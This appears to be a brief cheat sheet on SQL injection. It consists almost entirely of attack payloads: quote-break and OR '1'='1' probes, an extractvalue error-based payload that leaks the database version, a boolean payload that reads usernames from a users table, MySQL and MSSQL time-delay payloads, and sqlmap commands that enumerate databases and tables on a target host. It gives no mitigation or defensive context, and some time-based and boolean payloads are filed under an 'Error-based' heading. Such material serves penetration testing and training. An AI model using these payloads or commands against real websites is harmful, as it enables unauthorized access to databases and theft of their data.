SQL Injection

Detection, exploitation, and bypass techniques for SQLi.

Published: April 10, 2026
Read time: 1 min read
Topics: websqliinjection

Detection

' -- single quote to break syntax
' OR '1'='1
1; SELECT SLEEP(5)-- -

Error-based

' AND extractvalue(1, concat(0x7e, (SELECT version())))-- -

' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- -

'; IF (1=1) WAITFOR DELAY '0:0:5'-- -   -- MSSQL
' AND SLEEP(5)-- -                        -- MySQL

sqlmap

sqlmap -u "https://target.com/page?id=1" --dbs --batch
sqlmap -u "https://target.com/page?id=1" -D dbname --tables